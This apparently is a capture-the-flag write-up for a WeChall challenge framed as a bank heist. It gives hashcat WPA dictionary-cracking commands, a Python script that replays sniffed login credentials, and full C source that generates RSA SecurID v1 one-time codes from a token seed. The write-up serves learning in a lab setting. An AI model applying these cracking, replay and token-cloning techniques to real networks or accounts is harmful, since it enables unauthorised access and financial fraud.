You woke up for another gray day, and noticed that your bank account
is empty as it is for months. You need some quick easy money, so you
join some "darknet" irc channels in order to speak with people, who are
able to give you some "not fully legal" job. Your new boss wants you to
hack into a small bank infrastructure, and transfer money from one
account to another. Easy job, huh?
You drive with your van to the bank's main office, and setup your
favourite wireless sniffing tool. Wow, it looks like they are using some
WPA network. Let's sniff some data, and try to crack the WPA password
with some dictionary attack.
Bug report: some older versions of aircrack-ng are unable to crack
the password, be sure to use the latest (rc1 is known to be
working).
Part 1: WPA 字典破解
挑战给出一个 pcap 文件 wpa_psk.cap,要求用字典攻击破解
WPA 密码。
用 hcxpcapngtool 将 pcap 转换为 hashcat 22000 格式:
1 2 3 4 curl -s -b 'WC=<cookie>' -o /tmp/wpa_psk.cap \ 'https://www.wechall.net/en/challenge/Z/blackhattale/wpa_psk.cap' hcxpcapngtool -o /tmp/wpa.22000 /tmp/wpa_psk.cap
hcxpcapngtool 输出确认了握手包信息:
1 2 3 ESSID (total unique).....................: 1 EAPOL pairs (best).......................: 1 EAPOL pairs written to 22000 hash file...: 1 (RC checked)
SSID 是 Z,使用 WPA2。
hashcat 字典攻击
1 2 3 hashcat -m 22000 /tmp/wpa.22000 \ ~/ctf/ctf-tool/dict/SecLists/Passwords/WiFi-WPA/probable-v2-wpa-top4800.txt \ --force
1 2 3 Status...........: Cracked Recovered........: 1/1 (100.00%) Digests (total) Speed.#01........: 180.0 kH/s
查看结果:
1 2 3 4 hashcat -m 22000 /tmp/wpa.22000 \ ~/ctf/ctf-tool/dict/SecLists/Passwords/WiFi-WPA/probable-v2-wpa-top4800.txt \ --show
WPA 密码是 jennifer。提交到
index.php?key=jennifer&submit=submit 进入下一阶段。
Part 2: ARP 嗅探与 InsecurID
重放
提交 WPA 密码后重定向到 login.php。页面描述了一个 ARP
缓存中毒场景:管理员使用 "PSA InsecurID" 通过明文 HTTP 认证。
嗅探凭据
页面有一个 "sniff some authentication data"
链接(login.php?action=request)。访问后返回一个完整 HTML
页面,其中嵌入了 username=admin3&password=123456
格式的凭据。凭据每次请求都会变化,且有 3 秒时效。
重放攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import urllib.request, recookie = 'WC=<your_cookie>' base = 'https://www.wechall.net/en/challenge/Z/blackhattale/login.php' req = urllib.request.Request(f'{base} ?action=request' , headers={'Cookie' : cookie}) resp = urllib.request.urlopen(req).read().decode() creds = re.search(r'username=(\w+)&password=(\d+)' , resp) username, password = creds.group(1 ), creds.group(2 ) url = f'{base} ?action=login&username={username} &password={password} ' req2 = urllib.request.Request(url, headers={'Cookie' : cookie}) urllib.request.urlopen(req2).read()
重放成功后即可访问 upload_asc.php,显示:
1 2 3 4 5 6 7 Good job. Now you have successfully uploaded the new token data for the victims bank account. The base filename is the serial number for the token, and the seed (secret) is d4e3f9eb36c9ebf3. Please note it is an older format of PSA InsecurID, the newer ones are using digitally signed XML files and longer seeds. After you have uploaded the new token data, you have to generate a valid one time password for that token for 27. of July, 2012 14:24 GMT+1
Part 3: RSA SecurID v1 OTP
计算
这是整个挑战最难的部分。需要根据 seed 和指定时间计算 RSA SecurID
一次性密码。
"PSA InsecurID" 是什么
论坛帖子(Z 本人)提示:"PSA InSecurID is really, really clear. Just
change/remove a few letters and it's obvious."
PSA InSecurID → 改 P 为 R、去掉 In →
RSA SecurID。
这是一个 RSA SecurID v1(64-bit seed)token。v1 使用自定义的
ASHF(Alleged SecurID Hash Function),不是后来 v2/v3 的 AES-128。
ASHF 算法
ASHF 由 I.C. Wiener 在 2000 年通过逆向工程 ACE/Server
代码发布(Bugtraq 2000-12-21)。学术论文(Biryukov et al. 2003, Contini
& Yin 2004)确认了其正确性。
算法结构:
时间扩展 :将 24-bit 时间值扩展为 64-bit
"明文",格式 T0T1T2T2T0T1T2T2
初始 key-dependent 置换
4 轮 block cipher (每轮 64 个子步骤)
每轮结束后 key ^= output
最终 key-dependent 置换
BCD 转换
时间值计算:
1 2 t = (unix_timestamp / 60 - 0x806880 ) * 2 ; t &= -4 ;
0x806880 = 8415360 = 1970-01-01 到 1986-01-01
的分钟数。
bswap64 在 64
位系统上的潜在问题
I.C. Wiener 的原始代码:
1 2 3 4 static __forceinline unsigned __int64 bswap64 (const unsigned __int64 x) { unsigned long a = (unsigned long ) x, b = (unsigned long ) (x >> 32 ); return (((unsigned __int64) bswap32(a)) << 32 ) | bswap32(b); }
在 64 位 Linux 上,unsigned long 是 8 字节而不是 4
字节。理论上 (unsigned long) x 不会截断到 32 位。但实际上
bswap32 宏内部使用 0x00ff00ff 掩码(32
位),高位会被隐式截断。实测中原始实现与 __builtin_bswap64
产生相同结果。建议使用编译器内置函数以确保可移植性:
1 2 static inline uint32_t bswap32 (uint32_t x) { return __builtin_bswap32(x); }static inline uint64_t bswap64 (uint64_t x) { return __builtin_bswap64(x); }
完整 ASHF 实现
以下是基于 I.C. Wiener 源码的完整 C 实现,修复了 64
位兼容性问题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <time.h> typedef union _OCTET { uint64_t Q[1 ]; uint32_t D[2 ]; uint16_t W[4 ]; uint8_t B[8 ]; } OCTET; static inline uint32_t bswap32 (uint32_t x) { return __builtin_bswap32(x); }static inline uint64_t bswap64 (uint64_t x) { return __builtin_bswap64(x); }static inline uint64_t rol64 (uint64_t x, int n) { return (x << (n & 63 )) | (x >> ((-n) & 63 )); }static inline uint8_t ror8 (uint8_t x, int n) { return (x >> (n & 7 )) | (x << ((-n) & 7 )); }void securid_expand_key_to_4_bit_per_byte (const OCTET source, char *target) { int i; for (i = 0 ; i < 8 ; i++) { target[i*2 ] = source.B[i] >> 4 ; target[i*2 +1 ] = source.B[i] & 0x0F ; } } void securid_expand_data_to_1_bit_per_byte (const OCTET source, char *target) { int i, j, k; for (i = 0 , k = 0 ; i < 8 ; i++) for (j = 7 ; j >= 0 ; j--) target[k++] = (source.B[i] >> j) & 1 ; } void securid_reassemble_64_bit_from_64_byte (const unsigned char *source, OCTET *target) { int i = 0 , j, k = 0 ; for (target->Q[0 ] = 0 ; i < 8 ; i++) for (j = 7 ; j >= 0 ; j--) target->B[i] |= source[k++] << j; } void securid_permute_data (OCTET *data, const OCTET key) { unsigned char bit_data[128 ]; unsigned char hex_key[16 ]; uint32_t i, k, b, m, bit; unsigned char j; unsigned char *hkw, *permuted_bit; memset (bit_data, 0 , sizeof (bit_data)); securid_expand_data_to_1_bit_per_byte(*data, bit_data); securid_expand_key_to_4_bit_per_byte(key, hex_key); for (bit = 32 , hkw = hex_key, m = 0 ; bit <= 32 ; hkw += 8 , bit -= 32 ) { permuted_bit = bit_data + 64 + bit; for (k = 0 , b = 28 ; k < 8 ; k++, b -= 4 ) { for (j = hkw[k]; j; j--) { bit_data[(bit + b + m + 4 ) & 0x3F ] = bit_data[m]; m = (m + 1 ) & 0x3F ; } for (i = 0 ; i < 4 ; i++) permuted_bit[b + i] |= bit_data[(bit + b + m + i) & 0x3F ]; } } securid_reassemble_64_bit_from_64_byte(bit_data + 64 , data); } void securid_do_4_rounds (OCTET *data, OCTET *key) { unsigned char round, i, j, t; for (round = 0 ; round < 4 ; round++) { for (i = 0 ; i < 8 ; i++) { for (j = 0 ; j < 8 ; j++) { if ((((key->B[i] >> (j ^ 7 )) ^ (data->B[0 ] >> 7 )) & 1 ) != 0 ) { t = data->B[4 ]; data->B[4 ] = 100 - data->B[0 ]; data->B[0 ] = t; } else { data->B[0 ] = (uint8_t )(ror8((uint8_t )(ror8(data->B[0 ], 1 ) - 1 ), 1 ) - 1 ) ^ data->B[4 ]; } data->Q[0 ] = bswap64(rol64(bswap64(data->Q[0 ]), 1 )); } } key->Q[0 ] ^= data->Q[0 ]; } } void securid_convert_to_decimal (OCTET *data, const OCTET key) { uint32_t i; uint8_t c, hi, lo; c = (key.B[7 ] & 0x0F ) % 5 ; for (i = 0 ; i < 8 ; i++) { hi = data->B[i] >> 4 ; lo = data->B[i] & 0x0F ; c = (c + (key.B[i] >> 4 )) % 5 ; if (hi > 9 ) data->B[i] = ((hi = (hi - (c + 1 ) * 2 ) % 10 ) << 4 ) | lo; c = (c + (key.B[i] & 0x0F )) % 5 ; if (lo > 9 ) data->B[i] = (lo = ((lo - (c + 1 ) * 2 ) % 10 )) | (hi << 4 ); } } void securid_hash_data (OCTET *data, OCTET key, unsigned char convert_to_decimal) { securid_permute_data(data, key); securid_do_4_rounds(data, &key); securid_permute_data(data, key); if (convert_to_decimal) securid_convert_to_decimal(data, key); } void securid_hash_time (unsigned long time_val, OCTET *hash, OCTET key) { hash->B[0 ] = (uint8_t )(time_val >> 16 ); hash->B[1 ] = (uint8_t )(time_val >> 8 ); hash->B[2 ] = (uint8_t )time_val; hash->B[3 ] = (uint8_t )time_val; hash->B[4 ] = (uint8_t )(time_val >> 16 ); hash->B[5 ] = (uint8_t )(time_val >> 8 ); hash->B[6 ] = (uint8_t )time_val; hash->B[7 ] = (uint8_t )time_val; securid_hash_data(hash, key, 1 ); } int otp_from_bytes (uint8_t b0, uint8_t b1, uint8_t b2) { return (b0 >> 4 ) * 100000 + (b0 & 0xF ) * 10000 + (b1 >> 4 ) * 1000 + (b1 & 0xF ) * 100 + (b2 >> 4 ) * 10 + (b2 & 0xF ); } int main (void ) { OCTET key, hash; unsigned long t; int code1, code2; key.B[0 ] = 0xd4 ; key.B[1 ] = 0xe3 ; key.B[2 ] = 0xf9 ; key.B[3 ] = 0xeb ; key.B[4 ] = 0x36 ; key.B[5 ] = 0xc9 ; key.B[6 ] = 0xeb ; key.B[7 ] = 0xf3 ; struct tm tm_target = {0 }; tm_target.tm_year = 2012 - 1900 ; tm_target.tm_mon = 7 - 1 ; tm_target.tm_mday = 27 ; tm_target.tm_hour = 12 ; tm_target.tm_min = 24 ; time_t unix_ts = timegm(&tm_target); t = (unix_ts / 60 - 0x806880 ) * 2 ; t &= -4UL ; securid_hash_time(t, &hash, key); code1 = otp_from_bytes(hash.B[0 ], hash.B[1 ], hash.B[2 ]); code2 = otp_from_bytes(hash.B[3 ], hash.B[4 ], hash.B[5 ]); printf ("t = %lu\n" , t); printf ("code1 = %06d\n" , code1); printf ("code2 = %06d\n" , code2); return 0 ; }
编译运行:
1 gcc -O2 -o securid securid.c && ./securid
1 2 3 t = 27949008 code1 = 474358 code2 = 440866
验证 ASHF 实现正确性
学术论文提供了一个 vanishing differential 测试向量:key =
356b48b3ae15c271,时间 0x1c3ba8 和
0x1c3aa8 应产生相同输出。
1 2 3 t=0x1C3BA8: 92868758689529220 t=0x1C3AA8: 92868758689529220 Vanishing diff: PASS
OTP 提取
ASHF 输出 8 字节。每个 hash 产生两个连续的 token code:
code1: BCD 提取 bytes 0-2(6 位数字)
code2: BCD 提取 bytes 3-5(6 位数字)
BCD 提取方式:
1 2 3 4 5 int otp_from_bytes (uint8_t b0, uint8_t b1, uint8_t b2) { return (b0 >> 4 ) * 100000 + (b0 & 0xF ) * 10000 + (b1 >> 4 ) * 1000 + (b1 & 0xF ) * 100 + (b2 >> 4 ) * 10 + (b2 & 0xF ); }
计算结果
seed = d4e3f9eb36c9ebf3,目标时间 2012-07-27 14:24
CEST(UTC+2):
1 2 3 t = 27949008 code1 (bytes 0-2) = 474358 code2 (bytes 3-5) = 440866
Z 在论坛给出的参考值:
1 2 779286 - 14:23 CEST (code2) 440866 - 14:25 CEST (code2)
注意:Z 的参考值中 t 值与我们用 timegm 计算的有 ±2
的偏差,可能源于不同的时间计算方式。但 code2=440866 在 t=27949008
时精确匹配。挑战要求的 14:24 OTP 是 code1 = 474358。
提交验证
通过 curl 提交 474358:
1 2 3 curl -s -b 'WC=<cookie>' -L \ 'https://www.wechall.net/en/challenge/Z/blackhattale/upload_asc.php' \ -d 'otp=474358&submit=submit'
服务端返回 Good 并通过 JS 重定向到
f1nal_st8g3.php。
时区说明
挑战页面写 "14:24 GMT+1",但 Z 说 "I have created this challenge in
CET/CEST timezone"。实际使用的是 CEST(UTC+2,夏令时),不是
CET(UTC+1)。用 CET 计算出的 OTP 全部错误。
交叉验证——用 CET(UTC+1)计算 14:24:
1 CET code1 = 938700(≠ 474358)
Part 4: Final Stage
提交正确 OTP 后服务端返回 Good 并通过 JS 重定向到
f1nal_st8g3.php。该页面显示 "Your answer is correct"
并确认挑战已解决。整个挑战不需要额外的前端交互——f1nal_st8g3.php
是最终确认页面。
工具链
WPA 握手提取 : hcxpcapngtool
7.1.2(ZerBea/hcxtools)
WPA 字典破解 : hashcat 7.1.2 + RTX 4070 Ti
SUPER
字典 : SecLists probable-v2-wpa-top4800
HTTP 自动化 : curl + Python urllib
ASHF 实现 : C(gcc -O2)